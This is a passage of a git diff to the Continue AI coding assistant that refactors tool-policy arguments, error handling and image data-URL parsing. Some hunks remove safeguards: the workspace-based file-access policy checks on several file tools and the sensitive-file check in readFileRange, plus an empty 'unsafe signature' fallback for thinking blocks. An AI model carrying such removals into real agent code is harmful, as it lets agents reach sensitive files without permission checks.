(nonColocatedRuleUris.some(isContinueConfigRelatedUri)) { await this.configHandler.reloadConfig( ".continue config-related file created", @@ -915,9 +913,9 @@ export class Core { }); } - // If it's a local config being deleted, we want to reload all configs so it disappears from the list + // If it's a local agent being deleted, we want to reload all agent so it disappears from the list if (nonColocatedRuleUris.some(isContinueAgentConfigFile)) { - await this.configHandler.refreshAll("Local config file deleted"); + await this.configHandler.refreshAll("Local assistant file deleted"); } else if (nonColocatedRuleUris.some(isContinueConfigRelatedUri)) { await this.configHandler.reloadConfig( ".continue config-related file deleted", @@ -1093,7 +1091,7 @@ export class Core { on( "tools/evaluatePolicy", - async ({ data: { toolName, basePolicy, parsedArgs, processedArgs } }) => { + async ({ data: { toolName, basePolicy, args } }) => { const { config } = await this.configHandler.loadConfig(); if (!config) { throw new Error("Config not loaded"); @@ -1106,16 +1104,12 @@ export class Core { // Extract display value for specific tools let displayValue: string | undefined; - if (toolName === "runTerminalCommand" && parsedArgs.command) { - displayValue = parsedArgs.command as string; + if (toolName === "runTerminalCommand" && args.command) { + displayValue = args.command as string; } if (tool.evaluateToolCallPolicy) { - const evaluatedPolicy = tool.evaluateToolCallPolicy( - basePolicy, - parsedArgs, - processedArgs, - ); + const evaluatedPolicy = tool.evaluateToolCallPolicy(basePolicy, args); return { policy: evaluatedPolicy, displayValue }; } return { policy: basePolicy, displayValue }; diff --git a/core/index.d.ts b/core/index.d.ts index c5e106b4239..685b8ade1bd 100644 --- a/core/index.d.ts +++ b/core/index.d.ts @@ -462,7 +462,7 @@ export interface PromptLog { completion: string; } -export type MessageModes = "chat" | "agent" | "plan" | "background"; +export type MessageModes = "chat" | "agent" | "plan"; export type ToolStatus = | "generating" // Tool call arguments are being streamed from the LLM @@ -1110,7 +1110,6 @@ export interface Tool { evaluateToolCallPolicy?: ( basePolicy: ToolPolicy, parsedArgs: Record, - processedArgs?: Record, ) => ToolPolicy; } @@ -1790,7 +1789,7 @@ export interface BrowserSerializedContinueConfig { experimental?: ExperimentalConfig; analytics?: AnalyticsConfig; docs?: SiteIndexingConfig[]; - tools: Omit[]; + tools: Omit[]; mcpServerStatuses: MCPServerStatus[]; rules: RuleWithSource[]; usePlatform: boolean; diff --git a/core/indexing/docs/crawlers/DocsCrawler.test.ts b/core/indexing/docs/crawlers/DocsCrawler.test.ts index 40b424c3c3e..3ea442fbef2 100644 --- a/core/indexing/docs/crawlers/DocsCrawler.test.ts +++ b/core/indexing/docs/crawlers/DocsCrawler.test.ts @@ -19,7 +19,7 @@ const TIMEOUT_MS = 1_000_000_000; // so that we don't delete the Chromium install between tests ChromiumInstaller.PCR_CONFIG = { downloadPath: os.tmpdir() }; -describe.skip("DocsCrawler", () => { +describe("DocsCrawler", () => { let config: ContinueConfig; let mockIde: FileSystemIde; let chromiumInstaller: ChromiumInstaller; diff --git a/core/llm/llms/Anthropic.ts b/core/llm/llms/Anthropic.ts index ff3f85e51eb..b7a3d8ec23b 100644 --- a/core/llm/llms/Anthropic.ts +++ b/core/llm/llms/Anthropic.ts @@ -28,6 +28,7 @@ import { } from "../../index.js"; import { safeParseToolCallArgs } from "../../tools/parseArgs.js"; import { renderChatMessage, stripImages } from "../../util/messageContent.js"; +import { extractBase64FromDataUrl } from "../../util/url.js"; import { DEFAULT_REASONING_TOKENS } from "../constants.js"; import { BaseLLM } from "../index.js"; @@ -87,36 +88,30 @@ class Anthropic extends BaseLLM { private convertMessageContentToBlocks( content: MessageContent, ): ContentBlockParam[] { - const parts: ContentBlockParam[] = []; if (typeof content === "string") { - if (content) { - parts.push({ + return [ + { type: "text", text: content, - }); - } - } else { - for (const part of content) { - if (part.type === "text") { - if (part.text) { - parts.push({ - type: "text", - text: part.text, - }); - } - } else { - parts.push({ - type: "image", - source: { - type: "base64", - media_type: getAnthropicMediaTypeFromDataUrl(part.imageUrl.url), - data: part.imageUrl.url.split(",")[1], - }, - }); - } - } + }, + ]; } - return parts; + return content.map((part) => { + if (part.type === "text") { + return { + type: "text", + text: part.text, + }; + } + return { + type: "image", + source: { + type: "base64", + media_type: getAnthropicMediaTypeFromDataUrl(part.imageUrl.url), + data: extractBase64FromDataUrl(part.imageUrl.url), + }, + }; + }); } private convertToolCallsToBlocks( @@ -158,30 +153,20 @@ class Anthropic extends BaseLLM { }, ]; } - // Strip thinking that has no signature - const signature = message.signature; - if (!signature) { - return []; - } if (typeof message.content === "string") { - if (!message.content) { - return []; - } return [ { type: "thinking", thinking: message.content, - signature, + signature: message.signature ?? "", // TODO - unsafe signature }, ]; } - const textParts = message.content - .filter((p) => p.type === "text") - .filter((p) => !!p.text); + const textParts = message.content.filter((p) => p.type === "text"); return textParts.map((part) => ({ type: "thinking", thinking: part.text, - signature, + signature: message.signature ?? "", // TODO - unsafe signature })); case "assistant": const blocks: ContentBlockParam[] = this.convertMessageContentToBlocks( diff --git a/core/llm/llms/Bedrock.ts b/core/llm/llms/Bedrock.ts index ea47b63ae1f..d51093db174 100644 --- a/core/llm/llms/Bedrock.ts +++ b/core/llm/llms/Bedrock.ts @@ -21,6 +21,7 @@ import type { CompletionOptions } from "../../index.js"; import { ChatMessage, Chunk, LLMOptions, MessageContent } from "../../index.js"; import { safeParseToolCallArgs } from "../../tools/parseArgs.js"; import { renderChatMessage, stripImages } from "../../util/messageContent.js"; +import { parseDataUrl } from "../../util/url.js"; import { BaseLLM } from "../index.js"; import { PROVIDER_TOOL_SUPPORT } from "../toolSupport.js"; import { getSecureID } from "../utils/getSecureID.js"; @@ -546,7 +547,7 @@ class Bedrock extends BaseLLM { blocks.push({ text: part.text }); } else if (part.type === "imageUrl" && part.imageUrl) { try { - const [mimeType, base64Data] = part.imageUrl.url.split(","); + const { mimeType, base64Data } = parseDataUrl(part.imageUrl.url); const format = mimeType.split("/")[1]?.split(";")[0] || "jpeg"; if ( format === ImageFormat.JPEG || diff --git a/core/llm/llms/Gemini.ts b/core/llm/llms/Gemini.ts index 7caf2db7d75..d63bc5e9d36 100644 --- a/core/llm/llms/Gemini.ts +++ b/core/llm/llms/Gemini.ts @@ -11,6 +11,7 @@ import { } from "../../index.js"; import { safeParseToolCallArgs } from "../../tools/parseArgs.js"; import { renderChatMessage, stripImages } from "../../util/messageContent.js"; +import { extractBase64FromDataUrl } from "../../util/url.js"; import { BaseLLM } from "../index.js"; import { GeminiChatContent, @@ -191,7 +192,9 @@ class Gemini extends BaseLLM { : { inlineData: { mimeType: "image/jpeg", - data: part.imageUrl?.url.split(",")[1], + data: part.imageUrl?.url + ? extractBase64FromDataUrl(part.imageUrl.url) + : "", }, }; } diff --git a/core/llm/llms/Ollama.ts b/core/llm/llms/Ollama.ts index 0a239fce909..96f169af045 100644 --- a/core/llm/llms/Ollama.ts +++ b/core/llm/llms/Ollama.ts @@ -13,6 +13,7 @@ import { } from "../../index.js"; import { renderChatMessage } from "../../util/messageContent.js"; import { getRemoteModelInfo } from "../../util/ollamaHelper.js"; +import { extractBase64FromDataUrl } from "../../util/url.js"; import { BaseLLM } from "../index.js"; type OllamaChatMessage = { @@ -303,7 +304,9 @@ class Ollama extends BaseLLM implements ModelInstaller { const images: string[] = []; message.content.forEach((part) => { if (part.type === "imageUrl" && part.imageUrl) { - const image = part.imageUrl?.url.split(",").at(-1); + const image = part.imageUrl?.url + ? extractBase64FromDataUrl(part.imageUrl.url) + : undefined; if (image) { images.push(image); } diff --git a/core/llm/streamChat.ts b/core/llm/streamChat.ts index 4fba3b22661..d7de6c7f94d 100644 --- a/core/llm/streamChat.ts +++ b/core/llm/streamChat.ts @@ -161,7 +161,24 @@ export async function* llmStreamChat( return next.value; } } catch (error) { - // Moved error handling that was here to GUI, keeping try/catch for clean diff + if ( + error instanceof Error && + error.message.toLowerCase().includes("premature close") + ) { + void Telemetry.capture( + "stream_premature_close_error", + { + model: model.model, + provider: model.providerName, + errorMessage: error.message, + context: legacySlashCommandData ? "slash_command" : "regular_chat", + ...(legacySlashCommandData && { + command: legacySlashCommandData.command.name, + }), + }, + false, + ); + } throw error; } } diff --git a/core/nextEdit/providers/MercuryCoderNextEditProvider.ts b/core/nextEdit/providers/MercuryCoderNextEditProvider.ts index 49527c84ea3..3d234a55983 100644 --- a/core/nextEdit/providers/MercuryCoderNextEditProvider.ts +++ b/core/nextEdit/providers/MercuryCoderNextEditProvider.ts @@ -43,7 +43,7 @@ export class MercuryCoderProvider extends BaseNextEditModelProvider { // Extract the code between the markdown code blocks. return message.slice( message.indexOf("```\n") + "```\n".length, - message.lastIndexOf("\n```"), + message.lastIndexOf("\n\n```"), ); } diff --git a/core/package-lock.json b/core/package-lock.json index 8ba3256b301..1c830c623ad 100644 --- a/core/package-lock.json +++ b/core/package-lock.json @@ -76,7 +76,6 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", - "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", @@ -19208,17 +19207,6 @@ "webpack-virtual-modules": "^0.5.0" } }, - "node_modules/untildify": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/untildify/-/untildify-6.0.0.tgz", - "integrity": "sha512-sA2YTBvW2F463GvSbiZtso+dpuQV+B7xX9saX30SGrR5Fyx4AUcvA/zN+ShAkABKUKVyDaHECsJrHv5ToTuHsQ==", - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/update-browserslist-db": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz", diff --git a/core/package.json b/core/package.json index e86f1095f0a..f20ba384bef 100644 --- a/core/package.json +++ b/core/package.json @@ -121,7 +121,6 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", - "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", diff --git a/core/protocol/core.ts b/core/protocol/core.ts index 82542caeee5..28e617f798f 100644 --- a/core/protocol/core.ts +++ b/core/protocol/core.ts @@ -307,19 +307,10 @@ export type ToCoreFromIdeOrWebviewProtocol = { "auth/getAuthUrl": [{ useOnboarding: boolean }, { url: string }]; "tools/call": [ { toolCall: ToolCall }, - { - contextItems: ContextItem[]; - errorMessage?: string; - errorReason?: ContinueErrorReason; - }, + { contextItems: ContextItem[]; errorMessage?: string }, ]; "tools/evaluatePolicy": [ - { - toolName: string; - basePolicy: ToolPolicy; - parsedArgs: Record; - processedArgs?: Record; - }, + { toolName: string; basePolicy: ToolPolicy; args: Record }, { policy: ToolPolicy; displayValue?: string }, ]; "tools/preprocessArgs": [ diff --git a/core/protocol/ideWebview.ts b/core/protocol/ideWebview.ts index f1d2692920d..79e7de10b4f 100644 --- a/core/protocol/ideWebview.ts +++ b/core/protocol/ideWebview.ts @@ -6,10 +6,8 @@ import { AddToChatPayload, ApplyState, ApplyToFilePayload, - ContextItemWithId, HighlightedCodePayload, MessageContent, - RangeInFile, RangeInFileWithContents, SetCodeToEditPayload, ShowFilePayload, @@ -52,38 +50,6 @@ export type ToIdeFromWebviewProtocol = ToIdeFromWebviewOrCoreProtocol & { "edit/addCurrentSelection": [undefined, void]; "edit/clearDecorations": [undefined, void]; "session/share": [{ sessionId: string }, void]; - createBackgroundAgent: [ - { - content: MessageContent; - contextItems: ContextItemWithId[]; - selectedCode: RangeInFile[]; - organizationId?: string; - agent?: string; - }, - void, - ]; - listBackgroundAgents: [ - { organizationId?: string; limit?: number }, - { - agents: Array<{ - id: string; - name: string | null; - status: string; - repoUrl: string; - createdAt: string; - metadata?: { - github_repo?: string; - }; - }>; - totalCount: number; - }, - ]; - openAgentLocally: [ - { - agentSessionId: string; - }, - void, - ]; }; export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & { @@ -100,7 +66,6 @@ export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & { focusContinueSessionId: [{ sessionId: string | undefined }, void]; newSession: [undefined, void]; - loadAgentSession: [{ session: any }, void]; setTheme: [{ theme: any }, void]; setColors: [{ [key: string]: string }, void]; "jetbrains/editorInsetRefresh": [undefined, void]; diff --git a/core/tools/callTool.ts b/core/tools/callTool.ts index 8d695e1e192..faec8a94b8c 100644 --- a/core/tools/callTool.ts +++ b/core/tools/callTool.ts @@ -1,7 +1,6 @@ import { CallToolResultSchema } from "@modelcontextprotocol/sdk/types.js"; import { ContextItem, Tool, ToolCall, ToolExtras } from ".."; import { MCPManagerSingleton } from "../context/mcp/MCPManagerSingleton"; -import { ContinueError, ContinueErrorReason } from "../util/errors"; import { canParseUrl } from "../util/url"; import { BuiltInToolNames } from "./builtIn"; @@ -198,7 +197,6 @@ export async function callTool( ): Promise<{ contextItems: ContextItem[]; errorMessage: string | undefined; - errorReason?: ContinueErrorReason; }> { try { const args = safeParseToolCallArgs(toolCall); @@ -216,19 +214,12 @@ export async function callTool( }; } catch (e) { let errorMessage = `${e}`; - let errorReason: ContinueErrorReason | undefined; - - if (e instanceof ContinueError) { - errorMessage = e.message; - errorReason = e.reason; - } else if (e instanceof Error) { + if (e instanceof Error) { errorMessage = e.message; } - return { contextItems: [], errorMessage, - errorReason, }; } } diff --git a/core/tools/definitions/createNewFile.ts b/core/tools/definitions/createNewFile.ts index 7bfc3f8f0e4..4d52cd6654f 100644 --- a/core/tools/definitions/createNewFile.ts +++ b/core/tools/definitions/createNewFile.ts @@ -1,8 +1,5 @@ -import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; -import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; -import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const createNewFileTool: Tool = { type: "function", @@ -24,7 +21,7 @@ export const createNewFileTool: Tool = { filepath: { type: "string", description: - "The path where the new file should be created. Can be a relative path (from workspace root), absolute path, tilde path (~/...), or file:// URI.", + "The path where the new file should be created, relative to the root of the workspace", }, contents: { type: "string", @@ -41,26 +38,4 @@ export const createNewFileTool: Tool = { ["contents", "Contents of the file"], ], }, - preprocessArgs: async (args, { ide }) => { - const filepath = args.filepath as string; - const resolvedPath = await resolveInputPath(ide, filepath); - - // Store the resolved path info in args for policy evaluation - return { - resolvedPath, - }; - }, - evaluateToolCallPolicy: ( - basePolicy: ToolPolicy, - _: Record, - processedArgs?: Record, - ): ToolPolicy => { - const resolvedPath = processedArgs?.resolvedPath as - | ResolvedPath - | null - | undefined; - if (!resolvedPath) return basePolicy; - - return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); - }, }; diff --git a/core/tools/definitions/ls.ts b/core/tools/definitions/ls.ts index 4892f720b9d..49ac5b1c6a1 100644 --- a/core/tools/definitions/ls.ts +++ b/core/tools/definitions/ls.ts @@ -1,9 +1,6 @@ import { Tool } from "../.."; -import { ToolPolicy } from "@continuedev/terminal-security"; -import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; -import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const lsTool: Tool = { type: "function", @@ -23,7 +20,7 @@ export const lsTool: Tool = { dirPath: { type: "string", description: - "The directory path. Can be relative to project root, absolute path, tilde path (~/...), or file:// URI. Use forward slash paths", + "The directory path relative to the root of the project. Use forward slash paths like '/'. rather than e.g. '.'", }, recursive: { type: "boolean", @@ -42,28 +39,4 @@ export const lsTool: Tool = { ], }, toolCallIcon: "FolderIcon", - preprocessArgs: async (args, { ide }) => { - const dirPath = args.dirPath as string; - - // Default to current directory if no path provided - const pathToResolve = dirPath || "."; - const resolvedPath = await resolveInputPath(ide, pathToResolve); - - return { - resolvedPath, - }; - }, - evaluateToolCallPolicy: ( - basePolicy: ToolPolicy, - _: Record, - processedArgs?: Record, - ): ToolPolicy => { - const resolvedPath = processedArgs?.resolvedPath as - | ResolvedPath - | null - | undefined; - if (!resolvedPath) return basePolicy; - - return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); - }, }; diff --git a/core/tools/definitions/readFile.ts b/core/tools/definitions/readFile.ts index 9342e791648..ee6c1c91cfb 100644 --- a/core/tools/definitions/readFile.ts +++ b/core/tools/definitions/readFile.ts @@ -1,8 +1,5 @@ -import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; -import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; -import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const readFileTool: Tool = { type: "function", @@ -24,7 +21,7 @@ export const readFileTool: Tool = { filepath: { type: "string", description: - "The path of the file to read. Can be a relative path (from workspace root), absolute path, tilde path (~/...), or file:// URI", + "The path of the file to read, relative to the root of the workspace (NOT uri or absolute path)", }, }, }, @@ -35,26 +32,4 @@ export const readFileTool: Tool = { }, defaultToolPolicy: "allowedWithoutPermission", toolCallIcon: "DocumentIcon", - preprocessArgs: async (args, { ide }) => { - const filepath = args.filepath as string; - const resolvedPath = await resolveInputPath(ide, filepath); - - // Store the resolved path info in args for policy evaluation - return { - resolvedPath, - }; - }, - evaluateToolCallPolicy: ( - basePolicy: ToolPolicy, - _: Record, - processedArgs?: Record, - ): ToolPolicy => { - const resolvedPath = processedArgs?.resolvedPath as - | ResolvedPath - | null - | undefined; - if (!resolvedPath) return basePolicy; - - return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); - }, }; diff --git a/core/tools/definitions/readFileRange.ts b/core/tools/definitions/readFileRange.ts index 2c573c72dbf..41a7bfcfd6b 100644 --- a/core/tools/definitions/readFileRange.ts +++ b/core/tools/definitions/readFileRange.ts @@ -1,8 +1,5 @@ -import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; -import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; -import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const readFileRangeTool: Tool = { type: "function", @@ -52,25 +49,4 @@ export const readFileRangeTool: Tool = { }, defaultToolPolicy: "allowedWithoutPermission", toolCallIcon: "DocumentIcon", - preprocessArgs: async (args, { ide }) => { - const filepath = args.filepath as string; - const resolvedPath = await resolveInputPath(ide, filepath); - - return { - resolvedPath, - }; - }, - evaluateToolCallPolicy: ( - basePolicy: ToolPolicy, - _: Record, - processedArgs?: Record, - ): ToolPolicy => { - const resolvedPath = processedArgs?.resolvedPath as - | ResolvedPath - | null - | undefined; - if (!resolvedPath) return basePolicy; - - return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); - }, }; diff --git a/core/tools/definitions/viewSubdirectory.ts b/core/tools/definitions/viewSubdirectory.ts index eafd35dd752..f8776716f52 100644 --- a/core/tools/definitions/viewSubdirectory.ts +++ b/core/tools/definitions/viewSubdirectory.ts @@ -1,8 +1,5 @@ -import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; -import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; -import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const viewSubdirectoryTool: Tool = { type: "function", @@ -34,25 +31,4 @@ export const viewSubdirectoryTool: Tool = { }, defaultToolPolicy: "allowedWithPermission", toolCallIcon: "FolderOpenIcon", - preprocessArgs: async (args, { ide }) => { - const directoryPath = args.directory_path as string; - const resolvedPath = await resolveInputPath(ide, directoryPath); - - return { - resolvedPath, - }; - }, - evaluateToolCallPolicy: ( - basePolicy: ToolPolicy, - _: Record, - processedArgs?: Record, - ): ToolPolicy => { - const resolvedPath = processedArgs?.resolvedPath as - | ResolvedPath - | null - | undefined; - if (!resolvedPath) return basePolicy; - - return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); - }, }; diff --git a/core/tools/implementations/createNewFile.ts b/core/tools/implementations/createNewFile.ts index dca307d99d6..0677e7dcd0f 100644 --- a/core/tools/implementations/createNewFile.ts +++ b/core/tools/implementations/createNewFile.ts @@ -3,7 +3,6 @@ import { inferResolvedUriFromRelativePath } from "../../util/ideUtils"; import { ToolImpl } from "."; import { getCleanUriPath, getUriPathBasename } from "../../util/uri"; import { getStringArg } from "../parseArgs"; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; export const createNewFileImpl: ToolImpl = async (args, extras) => { const filepath = getStringArg(args, "filepath"); @@ -16,8 +15,7 @@ export const createNewFileImpl: ToolImpl = async (args, extras) => { if (resolvedFileUri) { const exists = await extras.ide.fileExists(resolvedFileUri); if (exists) { - throw new ContinueError( - ContinueErrorReason.FileAlreadyExists, + throw new Error( `File ${filepath} already exists. Use the edit tool to edit this file`, ); } @@ -39,9 +37,6 @@ export const createNewFileImpl: ToolImpl = async (args, extras) => { }, ]; } else { - throw new ContinueError( - ContinueErrorReason.PathResolutionFailed, - "Failed to resolve path", - ); + throw new Error("Failed to resolve path"); } }; diff --git a/core/tools/implementations/fetchUrlContent.vitest.ts b/core/tools/implementations/fetchUrlContent.vitest.ts index d0709bad114..0c8efb81b89 100644 --- a/core/tools/implementations/fetchUrlContent.vitest.ts +++ b/core/tools/implementations/fetchUrlContent.vitest.ts @@ -89,13 +89,3 @@ test("fetchUrlContent should add truncation warning with multiple truncated item expect(result[1].content.length).toBe(DEFAULT_FETCH_URL_CHAR_LIMIT); expect(result[2].name).toBe("Truncation warning"); }); - -test("fetchUrlContent should propagate errors when URL fetch fails", async () => { - const errorMessage = "HTTP 404 Not Found"; - - (getUrlContextItems as any).mockRejectedValue(new Error(errorMessage)); - - await expect( - fetchUrlContentImpl({ url: "https://example.com/404" }, mockExtras), - ).rejects.toThrow(errorMessage); -}); diff --git a/core/tools/implementations/grepSearch.ts b/core/tools/implementations/grepSearch.ts index 69ccf6aacc3..727b5c560bf 100644 --- a/core/tools/implementations/grepSearch.ts +++ b/core/tools/implementations/grepSearch.ts @@ -1,6 +1,5 @@ import { ToolImpl } from "."; import { ContextItem } from "../.."; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; import { formatGrepSearchResults } from "../../util/grepSearch"; import { prepareQueryForRipgrep } from "../../util/regexValidator"; import { getStringArg } from "../parseArgs"; @@ -64,10 +63,7 @@ export const grepSearchImpl: ToolImpl = async (args, extras) => { ]; } - throw new ContinueError( - ContinueErrorReason.SearchExecutionFailed, - errorMessage, - ); + throw error; } const { formatted, numResults, truncated } = formatGrepSearchResults( diff --git a/core/tools/implementations/lsTool.ts b/core/tools/implementations/lsTool.ts index c8c75306092..67122f082be 100644 --- a/core/tools/implementations/lsTool.ts +++ b/core/tools/implementations/lsTool.ts @@ -2,15 +2,13 @@ import ignore from "ignore"; import { ToolImpl } from "."; import { walkDir } from "../../indexing/walkDir"; -import { resolveInputPath } from "../../util/pathResolver"; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; +import { resolveRelativePathInDir } from "../../util/ideUtils"; export function resolveLsToolDirPath(dirPath: string | undefined) { if (!dirPath || dirPath === ".") { return "/"; } - // Don't strip leading slash from absolute paths - let the resolver handle it - if (dirPath.startsWith(".") && !dirPath.startsWith("./")) { + if (dirPath.startsWith(".")) { return dirPath.slice(1); } return dirPath.replace(/\\/g, "/"); @@ -20,15 +18,14 @@ const MAX_LS_TOOL_LINES = 200; export const lsToolImpl: ToolImpl = async (args, extras) => { const dirPath = resolveLsToolDirPath(args?.dirPath); - const resolvedPath = await resolveInputPath(extras.ide, dirPath); - if (!resolvedPath) { - throw new ContinueError( - ContinueErrorReason.DirectoryNotFound, - `Directory ${args.dirPath} not found or is not accessible. You can use absolute paths, relative paths, or paths starting with ~`, + const uri = await resolveRelativePathInDir(dirPath, extras.ide); + if (!uri) { + throw new Error( + `Directory ${args.dirPath} not found. Make sure to use forward-slash paths`, ); } - const entries = await walkDir(resolvedPath.uri, extras.ide, { + const entries = await walkDir(uri, extras.ide, { returnRelativeUrisPaths: true, include: "both", recursive: args?.recursive ?? false, @@ -40,12 +37,12 @@ export const lsToolImpl: ToolImpl = async (args, extras) => { let content = lines.length > 0 ? lines.join("\n") - : `No files/folders found in ${resolvedPath.displayPath}`; + : `No files/folders found in ${dirPath}`; const contextItems = [ { name: "File/folder list", - description: `Files/folders in ${resolvedPath.displayPath}`, + description: `Files/folders in ${dirPath}`, content, }, ]; diff --git a/core/tools/implementations/lsTool.vitest.ts b/core/tools/implementations/lsTool.vitest.ts index c3c571294d8..b697a90c5fa 100644 --- a/core/tools/implementations/lsTool.vitest.ts +++ b/core/tools/implementations/lsTool.vitest.ts @@ -25,7 +25,7 @@ test("resolveLsToolDirPath handles dot", () => { }); test("resolveLsToolDirPath handles dot relative", () => { - expect(resolveLsToolDirPath("./hi")).toBe("./hi"); + expect(resolveLsToolDirPath("./hi")).toBe("/hi"); }); test("resolveLsToolDirPath normalizes backslashes to forward slashes", () => { diff --git a/core/tools/implementations/readFile.ts b/core/tools/implementations/readFile.ts index 6c55912eef3..afa6495ad08 100644 --- a/core/tools/implementations/readFile.ts +++ b/core/tools/implementations/readFile.ts @@ -1,43 +1,37 @@ -import { resolveInputPath } from "../../util/pathResolver"; +import { resolveRelativePathInDir } from "../../util/ideUtils"; import { getUriPathBasename } from "../../util/uri"; import { ToolImpl } from "."; import { throwIfFileIsSecurityConcern } from "../../indexing/ignore"; import { getStringArg } from "../parseArgs"; import { throwIfFileExceedsHalfOfContext } from "./readFileLimit"; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; export const readFileImpl: ToolImpl = async (args, extras) => { const filepath = getStringArg(args, "filepath"); + throwIfFileIsSecurityConcern(filepath); - // Resolve the path first to get the actual path for security check - const resolvedPath = await resolveInputPath(extras.ide, filepath); - if (!resolvedPath) { - throw new ContinueError( - ContinueErrorReason.FileNotFound, - `File "${filepath}" does not exist or is not accessible. You might want to check the path and try again.`, + const firstUriMatch = await resolveRelativePathInDir(filepath, extras.ide); + if (!firstUriMatch) { + throw new Error( + `File "${filepath}" does not exist. You might want to check the path and try again.`, ); } - - // Security check on the resolved display path - throwIfFileIsSecurityConcern(resolvedPath.displayPath); - - const content = await extras.ide.readFile(resolvedPath.uri); + const content = await extras.ide.readFile(firstUriMatch); await throwIfFileExceedsHalfOfContext( - resolvedPath.displayPath, + filepath, content, extras.config.selectedModelByRole.chat, ); return [ { - name: getUriPathBasename(resolvedPath.uri), - description: resolvedPath.displayPath, + name: getUriPathBasename(firstUriMatch), + description: filepath, content, uri: { type: "file", - value: resolvedPath.uri, + value: firstUriMatch, }, }, ]; diff --git a/core/tools/implementations/readFileLimit.ts b/core/tools/implementations/readFileLimit.ts index 48f4b9f860b..e2af14d5665 100644 --- a/core/tools/implementations/readFileLimit.ts +++ b/core/tools/implementations/readFileLimit.ts @@ -1,6 +1,5 @@ import { ILLM } from "../.."; import { countTokensAsync } from "../../llm/countTokens"; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; export async function throwIfFileExceedsHalfOfContext( filepath: string, @@ -11,8 +10,7 @@ export async function throwIfFileExceedsHalfOfContext( const tokens = await countTokensAsync(content, model.title); const tokenLimit = model.contextLength / 2; if (tokens > tokenLimit) { - throw new ContinueError( - ContinueErrorReason.FileTooLarge, + throw new Error( `File ${filepath} is too large (${tokens} tokens vs ${tokenLimit} token limit). Try another approach`, ); } diff --git a/core/tools/implementations/readFileRange.ts b/core/tools/implementations/readFileRange.ts index 7b5f47338e0..c313f4bff14 100644 --- a/core/tools/implementations/readFileRange.ts +++ b/core/tools/implementations/readFileRange.ts @@ -1,11 +1,9 @@ -import { resolveInputPath } from "../../util/pathResolver"; +import { resolveRelativePathInDir } from "../../util/ideUtils"; import { getUriPathBasename } from "../../util/uri"; import { ToolImpl } from "."; -import { throwIfFileIsSecurityConcern } from "../../indexing/ignore"; import { getNumberArg, getStringArg } from "../parseArgs"; import { throwIfFileExceedsHalfOfContext } from "./readFileLimit"; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; export const readFileRangeImpl: ToolImpl = async (args, extras) => { const filepath = getStringArg(args, "filepath"); @@ -14,38 +12,30 @@ export const readFileRangeImpl: ToolImpl = async (args, extras) => { // Validate that line numbers are positive integers if (startLine < 1) { - throw new ContinueError( - ContinueErrorReason.InvalidLineNumber, + throw new Error( "startLine must be 1 or greater. Negative line numbers are not supported - use the terminal tool with 'tail' command for reading from file end.", ); } if (endLine < 1) { - throw new ContinueError( - ContinueErrorReason.InvalidLineNumber, + throw new Error( "endLine must be 1 or greater. Negative line numbers are not supported - use the terminal tool with 'tail' command for reading from file end.", ); } if (endLine < startLine) { - throw new ContinueError( - ContinueErrorReason.InvalidLineNumber, + throw new Error( `endLine (${endLine}) must be greater than or equal to startLine (${startLine})`, ); } - // Resolve the path first to get the actual path for security check - const resolvedPath = await resolveInputPath(extras.ide, filepath); - if (!resolvedPath) { - throw new ContinueError( - ContinueErrorReason.FileNotFound, - `File "${filepath}" does not exist or is not accessible. You might want to check the path and try again.`, + const firstUriMatch = await resolveRelativePathInDir(filepath, extras.ide); + if (!firstUriMatch) { + throw new Error( + `File "${filepath}" does not exist. You might want to check the path and try again.`, ); } - // Security check on the resolved display path - throwIfFileIsSecurityConcern(resolvedPath.displayPath); - // Use the IDE's readRangeInFile method with 0-based range (IDE expects 0-based internally) - const content = await extras.ide.readRangeInFile(resolvedPath.uri, { + const content = await extras.ide.readRangeInFile(firstUriMatch, { start: { line: startLine - 1, // Convert from 1-based to 0-based character: 0, @@ -57,21 +47,21 @@ export const readFileRangeImpl: ToolImpl = async (args, extras) => { }); await throwIfFileExceedsHalfOfContext( - resolvedPath.displayPath, + filepath, content, 